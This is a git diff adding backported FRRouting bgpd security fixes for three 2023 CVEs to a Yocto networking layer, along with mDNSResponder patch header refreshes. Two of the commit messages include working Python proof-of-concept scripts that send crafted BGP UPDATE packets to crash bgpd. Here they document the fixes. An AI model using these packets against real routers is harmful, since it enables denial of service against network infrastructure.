diff --git a/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch
new file mode 100644
index 0000000000..6bf159aba8
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch
@@ -0,0 +1,117 @@
+From d8482bf011cb2b173e85b65b4bf3d5061250cdb9 Mon Sep 17 00:00:00 2001
+From: Donatas Abraitis <donatas@opensourcerouting.org>
+Date: Mon, 23 Oct 2023 23:34:10 +0300
+Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE
+ message
+
+If we send a crafted BGP UPDATE message without mandatory attributes, we do
+not check if the length of the path attributes is zero or not. We only check
+if attr->flag is at least set or not. Imagine we send only unknown transit
+attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
+capability is received.
+
+A crash:
+
+```
+bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
+bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
+BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
+BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
+BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
+BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
+BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
+BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
+BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
+BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
+BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
+BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
+BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
+BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
+BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
+BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
+BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
+```
+
+Sending:
+
+```
+import socket
+import time
+
+OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
+b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
+b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
+b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
+b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
+b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
+b"\x80\x00\x00\x00")
+
+KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
+b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
+
+UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")
+
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.connect(('127.0.0.2', 179))
+s.send(OPEN)
+data = s.recv(1024)
+s.send(KEEPALIVE)
+data = s.recv(1024)
+s.send(UPDATE)
+data = s.recv(1024)
+time.sleep(1000)
+s.close()
+```
+
+Reported-by: Iggy Frankovic <iggyfran@amazon.com>
+Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
+Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/d8482bf011cb2b173e85b65b4bf3d5061250cdb9]
+CVE: CVE-2023-46753
+Signed-off-by: Jonas Gorski <jonas.gorski@bisdn.de>
+---
+ bgpd/bgp_attr.c | 10 ++++++----
+ 1 file changed, 6 insertions(+), 4 deletions(-)
+
+diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
+index e7bb42a5d989..cf2dbe65b805 100644
+--- a/bgpd/bgp_attr.c
++++ b/bgpd/bgp_attr.c
+@@ -3385,13 +3385,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args)
+ }
+
+ /* Well-known attribute check. */
+-static int bgp_attr_check(struct peer *peer, struct attr *attr)
++static int bgp_attr_check(struct peer *peer, struct attr *attr,
++ bgp_size_t length)
+ {
+ uint8_t type = 0;
+
+ /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
+ * empty UPDATE. */
+- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
++ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
++ !length)
+ return BGP_ATTR_PARSE_PROCEED;
+
+ /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
+@@ -3443,7 +3445,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
+ enum bgp_attr_parse_ret ret;
+ uint8_t flag = 0;
+ uint8_t type = 0;
+- bgp_size_t length;
++ bgp_size_t length = 0;
+ uint8_t *startp, *endp;
+ uint8_t *attr_endp;
+ uint8_t seen[BGP_ATTR_BITMAP_SIZE];
+@@ -3831,7 +3833,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
+ }
+
+ /* Check all mandatory well-known attributes are present */
+- ret = bgp_attr_check(peer, attr);
++ ret = bgp_attr_check(peer, attr, length);
+ if (ret < 0)
+ goto done;
+
+--
+2.42.1
+
diff --git a/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch
new file mode 100644
index 0000000000..754f9345a0
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch
@@ -0,0 +1,95 @@
+From c37119df45bbf4ef713bc10475af2ee06e12f3bf Mon Sep 17 00:00:00 2001
+From: Donatas Abraitis <donatas@opensourcerouting.org>
+Date: Sun, 29 Oct 2023 22:44:45 +0200
+Subject: [PATCH] bgpd: Ignore handling NLRIs if we received MP_UNREACH_NLRI
+
+If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if
+no mandatory path attributes received.
+
+In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled
+as a new data, but without mandatory attributes, it's a malformed packet.
+
+In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST
+handle that.
+
+Reported-by: Iggy Frankovic <iggyfran@amazon.com>
+Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
+Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/c37119df45bbf4ef713bc10475af2ee06e12f3bf]
+CVE: CVE-2023-47234
+Signed-off-by: Jonas Gorski <jonas.gorski@bisdn.de>
+---
+ bgpd/bgp_attr.c | 19 ++++++++++---------
+ bgpd/bgp_attr.h | 1 +
+ bgpd/bgp_packet.c | 7 ++++++-
+ 3 files changed, 17 insertions(+), 10 deletions(-)
+
+diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
+index 1473dc772502..75aa2ac7cce6 100644
+--- a/bgpd/bgp_attr.c
++++ b/bgpd/bgp_attr.c
+@@ -3399,15 +3399,6 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
+ !length)
+ return BGP_ATTR_PARSE_WITHDRAW;
+
+- /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
+- to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
+- are present, it should. Check for any other attribute being present
+- instead.
+- */
+- if ((!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
+- CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI))))
+- return BGP_ATTR_PARSE_PROCEED;
+-
+ if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
+ type = BGP_ATTR_ORIGIN;
+
+@@ -3426,6 +3417,16 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
+ && !CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_LOCAL_PREF)))
+ type = BGP_ATTR_LOCAL_PREF;
+
++ /* An UPDATE message that contains the MP_UNREACH_NLRI is not required
++ * to carry any other path attributes. Though if MP_REACH_NLRI or NLRI
++ * are present, it should. Check for any other attribute being present
++ * instead.
++ */
++ if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
++ CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI)))
++ return type ? BGP_ATTR_PARSE_MISSING_MANDATORY
++ : BGP_ATTR_PARSE_PROCEED;
++
+ /* If any of the well-known mandatory attributes are not present
+ * in an UPDATE message, then "treat-as-withdraw" MUST be used.
+ */
+diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
+index fc347e7a1b4b..d30155e6dba0 100644
+--- a/bgpd/bgp_attr.h
++++ b/bgpd/bgp_attr.h
+@@ -364,6 +364,7 @@ enum bgp_attr_parse_ret {
+ /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
+ */
+ BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
++ BGP_ATTR_PARSE_MISSING_MANDATORY = -4,
+ };
+
+ struct bpacket_attr_vec_arr;
+diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
+index a7514a26aa64..5dc35157ebf6 100644
+--- a/bgpd/bgp_packet.c
++++ b/bgpd/bgp_packet.c
+@@ -2359,7 +2359,12 @@ static int bgp_update_receive(struct peer_connection *connection,
+ /* Network Layer Reachability Information. */
+ update_len = end - stream_pnt(s);
+
+- if (update_len && attribute_len) {
++ /* If we received MP_UNREACH_NLRI attribute, but also NLRIs, then
++ * NLRIs should be handled as a new data. Though, if we received
++ * NLRIs without mandatory attributes, they should be ignored.
++ */
++ if (update_len && attribute_len &&
++ attr_parse_ret != BGP_ATTR_PARSE_MISSING_MANDATORY) {
+ /* Set NLRI portion to structure. */
+ nlris[NLRI_UPDATE].afi = AFI_IP;
+ nlris[NLRI_UPDATE].safi = SAFI_UNICAST;
+--
+2.42.1
+
diff --git a/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch
new file mode 100644
index 0000000000..b06ba94a34
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch
@@ -0,0 +1,112 @@
+From 6814f2e0138a6ea5e1f83bdd9085d9a77999900b Mon Sep 17 00:00:00 2001
+From: Donatas Abraitis <donatas@opensourcerouting.org>
+Date: Fri, 27 Oct 2023 11:56:45 +0300
+Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of
+ malformed attrs
+
+Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
+processed as a normal UPDATE without mandatory attributes, that could lead
+to harmful behavior. In this case, a crash for route-maps with the configuration
+such as:
+
+```
+router bgp 65001
+ no bgp ebgp-requires-policy
+ neighbor 127.0.0.1 remote-as external
+ neighbor 127.0.0.1 passive
+ neighbor 127.0.0.1 ebgp-multihop
+ neighbor 127.0.0.1 disable-connected-check
+ neighbor 127.0.0.1 update-source 127.0.0.2
+ neighbor 127.0.0.1 timers 3 90
+ neighbor 127.0.0.1 timers connect 1
+ !
+ address-family ipv4 unicast
+ neighbor 127.0.0.1 addpath-tx-all-paths
+ neighbor 127.0.0.1 default-originate
+ neighbor 127.0.0.1 route-map RM_IN in
+ exit-address-family
+exit
+!
+route-map RM_IN permit 10
+ set as-path prepend 200
+exit
+```
+
+Send a malformed optional transitive attribute:
+
+```
+import socket
+import time
+
+OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
+b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
+b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
+b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
+b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
+b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
+b"\x80\x00\x00\x00")
+
+KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
+b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
+
+UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")
+
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+s.connect(('127.0.0.2', 179))
+s.send(OPEN)
+data = s.recv(1024)
+s.send(KEEPALIVE)
+data = s.recv(1024)
+s.send(UPDATE)
+data = s.recv(1024)
+time.sleep(100)
+s.close()
+```
+
+Reported-by: Iggy Frankovic <iggyfran@amazon.com>
+Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
+Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/6814f2e0138a6ea5e1f83bdd9085d9a77999900b]
+CVE: CVE-2023-47235
+Signed-off-by: Jonas Gorski <jonas.gorski@bisdn.de>
+---
+ bgpd/bgp_attr.c | 15 ++++++++++++---
+ 1 file changed, 12 insertions(+), 3 deletions(-)
+
+diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
+index cf2dbe65b805..1473dc772502 100644
+--- a/bgpd/bgp_attr.c
++++ b/bgpd/bgp_attr.c
+@@ -3391,10 +3391,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
+ uint8_t type = 0;
+
+ /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
+- * empty UPDATE. */
++ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
++ * we will pass it to be processed as a normal UPDATE without mandatory
++ * attributes, that could lead to harmful behavior.
++ */
+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
+ !length)
+- return BGP_ATTR_PARSE_PROCEED;
++ return BGP_ATTR_PARSE_WITHDRAW;
+
+ /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
+ to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
+@@ -3889,7 +3892,13 @@ done:
+ aspath_unintern(&as4_path);
+
+ transit = bgp_attr_get_transit(attr);
+- if (ret != BGP_ATTR_PARSE_ERROR) {
++ /* If we received an UPDATE with mandatory attributes, then
++ * the unrecognized transitive optional attribute of that
++ * path MUST be passed. Otherwise, it's an error, and from
++ * security perspective it might be very harmful if we continue
++ * here with the unrecognized attributes.
++ */
++ if (ret == BGP_ATTR_PARSE_PROCEED) {
+ /* Finally intern unknown attribute. */
+ if (transit)
+ bgp_attr_set_transit(attr, transit_intern(transit));
+--
+2.42.1
+
diff --git a/meta-openembedded/meta-networking/recipes-protocols/frr/frr_9.0.1.bb b/meta-openembedded/meta-networking/recipes-protocols/frr/frr_9.0.1.bb
index bddc08aebb..c447df0512 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/frr/frr_9.0.1.bb
+++ b/meta-openembedded/meta-networking/recipes-protocols/frr/frr_9.0.1.bb
@@ -9,9 +9,15 @@ LICENSE = "GPL-2.0-only & LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://doc/licenses/GPL-2.0;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://doc/licenses/LGPL-2.1;md5=4fbd65380cdd255951079008b364516c"
+PR = "r1"
+
SRC_URI = "git://github.com/FRRouting/frr.git;protocol=https;branch=stable/9.0 \
file://frr.pam \
file://0001-tools-make-quiet-actually-suppress-output.patch \
+ file://CVE-2023-46752.patch \
+ file://CVE-2023-46753.patch \
+ file://CVE-2023-47235.patch \
+ file://CVE-2023-47234.patch \
"
SRCREV = "31ed3dd753d62b5d8916998bc32814007e91364b"
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Create-subroutine-for-cleaning-recent-interfaces.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Create-subroutine-for-cleaning-recent-interfaces.patch
index 91198dea73..f5d424d58f 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Create-subroutine-for-cleaning-recent-interfaces.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Create-subroutine-for-cleaning-recent-interfaces.patch
@@ -14,11 +14,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 24 ++++++++++++++----------
1 file changed, 14 insertions(+), 10 deletions(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index 0a7c3dfa2475..fe7242d83599 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1322,6 +1322,19 @@ mDNSlocal int SetupSocket(struct sockaddr *intfAddr, mDNSIPPort port, int interf
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1322,6 +1322,19 @@ mDNSlocal int SetupSocket(struct sockadd
return err;
}
@@ -38,7 +38,7 @@ index 0a7c3dfa2475..fe7242d83599 100644
// Creates a PosixNetworkInterface for the interface whose IP address is
// intfAddr and whose name is intfName and registers it with mDNS core.
mDNSlocal int SetupOneInterface(mDNS *const m, struct sockaddr *intfAddr, struct sockaddr *intfMask,
-@@ -1559,16 +1572,7 @@ mDNSlocal int SetupInterfaceList(mDNS *const m)
+@@ -1559,16 +1572,7 @@ mDNSlocal int SetupInterfaceList(mDNS *c
// Clean up.
if (intfList != NULL) freeifaddrs(intfList);
@@ -56,6 +56,3 @@ index 0a7c3dfa2475..fe7242d83599 100644
return err;
}
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Handle-interface-without-ifa_addr.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Handle-interface-without-ifa_addr.patch
index daee318ae4..7e76f07c0e 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Handle-interface-without-ifa_addr.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Handle-interface-without-ifa_addr.patch
@@ -14,11 +14,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index d7f31cc4d5cf..f10301253f58 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1895,6 +1895,7 @@ mDNSlocal void InterfaceChangeCallback(int fd, void *context)
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1895,6 +1895,7 @@ mDNSlocal void InterfaceChangeCallback(i
continue;
if ((ifa_loop4 == NULL) &&
@@ -26,7 +26,7 @@ index d7f31cc4d5cf..f10301253f58 100644
((*ifi)->ifa_addr->sa_family == AF_INET) &&
((*ifi)->ifa_flags & IFF_UP) &&
((*ifi)->ifa_flags & IFF_LOOPBACK))
-@@ -1903,7 +1904,8 @@ mDNSlocal void InterfaceChangeCallback(int fd, void *context)
+@@ -1903,7 +1904,8 @@ mDNSlocal void InterfaceChangeCallback(i
continue;
}
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-dns-sd-Include-missing-headers.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-dns-sd-Include-missing-headers.patch
index 4a60a95728..82825b294d 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-dns-sd-Include-missing-headers.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-dns-sd-Include-missing-headers.patch
@@ -11,10 +11,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
mDNSPosix/nss_mdns.c | 3 +++
1 file changed, 3 insertions(+)
-diff --git a/mDNSPosix/nss_mdns.c b/mDNSPosix/nss_mdns.c
-index afadb3c6c33b..84c312759463 100644
---- a/mDNSPosix/nss_mdns.c
-+++ b/mDNSPosix/nss_mdns.c
+Index: mDNSResponder/mDNSPosix/nss_mdns.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/nss_mdns.c
++++ mDNSResponder/mDNSPosix/nss_mdns.c
@@ -89,6 +89,9 @@
#include <dns_sd.h>
@@ -25,6 +25,3 @@ index afadb3c6c33b..84c312759463 100644
//----------
// Public functions
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-Create-subroutine-for-tearing-down-an-interface.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-Create-subroutine-for-tearing-down-an-interface.patch
index aa3dda8d55..867db88a50 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-Create-subroutine-for-tearing-down-an-interface.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-Create-subroutine-for-tearing-down-an-interface.patch
@@ -13,11 +13,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 22 ++++++++++++++++------
1 file changed, 16 insertions(+), 6 deletions(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index fe7242d83599..a32a880c0ce5 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1043,6 +1043,19 @@ mDNSlocal void FreePosixNetworkInterface(PosixNetworkInterface *intf)
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1043,6 +1043,19 @@ mDNSlocal void FreePosixNetworkInterface
gRecentInterfaces = intf;
}
@@ -37,7 +37,7 @@ index fe7242d83599..a32a880c0ce5 100644
// Grab the first interface, deregister it, free it, and repeat until done.
mDNSlocal void ClearInterfaceList(mDNS *const m)
{
-@@ -1051,13 +1064,10 @@ mDNSlocal void ClearInterfaceList(mDNS *const m)
+@@ -1051,13 +1064,10 @@ mDNSlocal void ClearInterfaceList(mDNS *
while (m->HostInterfaces)
{
PosixNetworkInterface *intf = (PosixNetworkInterface*)(m->HostInterfaces);
@@ -54,6 +54,3 @@ index fe7242d83599..a32a880c0ce5 100644
}
mDNSlocal int SetupIPv6Socket(int fd)
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-make-Set-libdns_sd.so-soname-correctly.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-make-Set-libdns_sd.so-soname-correctly.patch
index 7f660396b4..03fb1bc0d7 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-make-Set-libdns_sd.so-soname-correctly.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-make-Set-libdns_sd.so-soname-correctly.patch
@@ -9,11 +9,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/mDNSPosix/Makefile b/mDNSPosix/Makefile
-index 802a13dd70b6..5e74193c0e89 100755
---- a/mDNSPosix/Makefile
-+++ b/mDNSPosix/Makefile
-@@ -276,7 +276,7 @@ libdns_sd: setup $(BUILDDIR)/libdns_sd.$(LDSUFFIX)
+Index: mDNSResponder/mDNSPosix/Makefile
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/Makefile
++++ mDNSResponder/mDNSPosix/Makefile
+@@ -276,7 +276,7 @@ libdns_sd: setup $(BUILDDIR)/libdns_sd.$
CLIENTLIBOBJS = $(OBJDIR)/dnssd_clientlib.c.so.o $(OBJDIR)/dnssd_clientstub.c.so.o $(OBJDIR)/dnssd_ipc.c.so.o $(OBJDIR)/dnssd_errstring.c.so.o
$(BUILDDIR)/libdns_sd.$(LDSUFFIX): $(CLIENTLIBOBJS)
@@ -22,6 +22,3 @@ index 802a13dd70b6..5e74193c0e89 100755
$(STRIP) $@
Clients: setup libdns_sd ../Clients/build/dns-sd
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0003-Track-interface-socket-family.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0003-Track-interface-socket-family.patch
index d2a9995ffa..f1cda2b895 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0003-Track-interface-socket-family.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0003-Track-interface-socket-family.patch
@@ -14,11 +14,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.h | 2 ++
2 files changed, 3 insertions(+)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index a32a880c0ce5..9a5b4d7ea4cb 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1415,6 +1415,7 @@ mDNSlocal int SetupOneInterface(mDNS *const m, struct sockaddr *intfAddr, struct
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1415,6 +1415,7 @@ mDNSlocal int SetupOneInterface(mDNS *co
// Set up the extra fields in PosixNetworkInterface.
assert(intf->intfName != NULL); // intf->intfName already set up above
intf->index = intfIndex;
@@ -26,10 +26,10 @@ index a32a880c0ce5..9a5b4d7ea4cb 100644
intf->multicastSocket4 = -1;
#if HAVE_IPV6
intf->multicastSocket6 = -1;
-diff --git a/mDNSPosix/mDNSPosix.h b/mDNSPosix/mDNSPosix.h
-index 9675591b0434..dd7864cd0d5e 100644
---- a/mDNSPosix/mDNSPosix.h
-+++ b/mDNSPosix/mDNSPosix.h
+Index: mDNSResponder/mDNSPosix/mDNSPosix.h
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.h
++++ mDNSResponder/mDNSPosix/mDNSPosix.h
@@ -19,6 +19,7 @@
#define __mDNSPlatformPosix_h
@@ -46,6 +46,3 @@ index 9675591b0434..dd7864cd0d5e 100644
int multicastSocket4;
#if HAVE_IPV6
int multicastSocket6;
---
-2.35.1
-
diff --git a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-Indicate-loopback-interface-to-mDNS-core.patch b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-Indicate-loopback-interface-to-mDNS-core.patch
index a5f7f0136b..6bc36456f6 100644
--- a/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-Indicate-loopback-interface-to-mDNS-core.patch
+++ b/meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-Indicate-loopback-interface-to-mDNS-core.patch
@@ -14,11 +14,11 @@ Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
mDNSPosix/mDNSPosix.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
-diff --git a/mDNSPosix/mDNSPosix.c b/mDNSPosix/mDNSPosix.c
-index 9a5b4d7ea4cb..02a19b438e03 100644
---- a/mDNSPosix/mDNSPosix.c
-+++ b/mDNSPosix/mDNSPosix.c
-@@ -1348,7 +1348,7 @@ mDNSlocal void CleanRecentInterfaces(void)
+Index: mDNSResponder/mDNSPosix/mDNSPosix.c
+===================================================================
+--- mDNSResponder.orig/mDNSPosix/mDNSPosix.c
++++ mDNSResponder/mDNSPosix/mDNSPosix.c
+@@ -1348,7 +1348,7 @@ mDNSlocal void CleanRecentInterfaces(voi
// Creates a PosixNetworkInterface for the interface whose IP address is
// intfAddr and whose name is intfName and registers it with mDNS core.
mDNSlocal int SetupOneInterface(mDNS *const m, struct sockaddr *intfAddr, struct sockaddr *intfMask,
@@ -27,7 +27,7 @@ index 9a5b4d7ea4cb..02a19b438e03 100644
{
int err = 0;
PosixNetworkInterface *intf;
-@@ -1411,6 +1411,7 @@ mDNSlocal int SetupOneInterface(mDNS *const m, struct sockaddr *intfAddr, struct
+@@ -1411,6 +1411,7 @@ mDNSlocal int SetupOneInterface(mDNS *co
intf->coreIntf.Advertise = m->AdvertiseLocalAddresses;
intf->coreIntf.McastTxRx = mDNStrue;
@@ -35,7 +35,7 @@ index 9a5b4d7ea4cb..02a19b438e03 100644
// Set up the extra fields in PosixNetworkInterface.
assert(intf->intfName != NULL); // intf->intfName already set up above
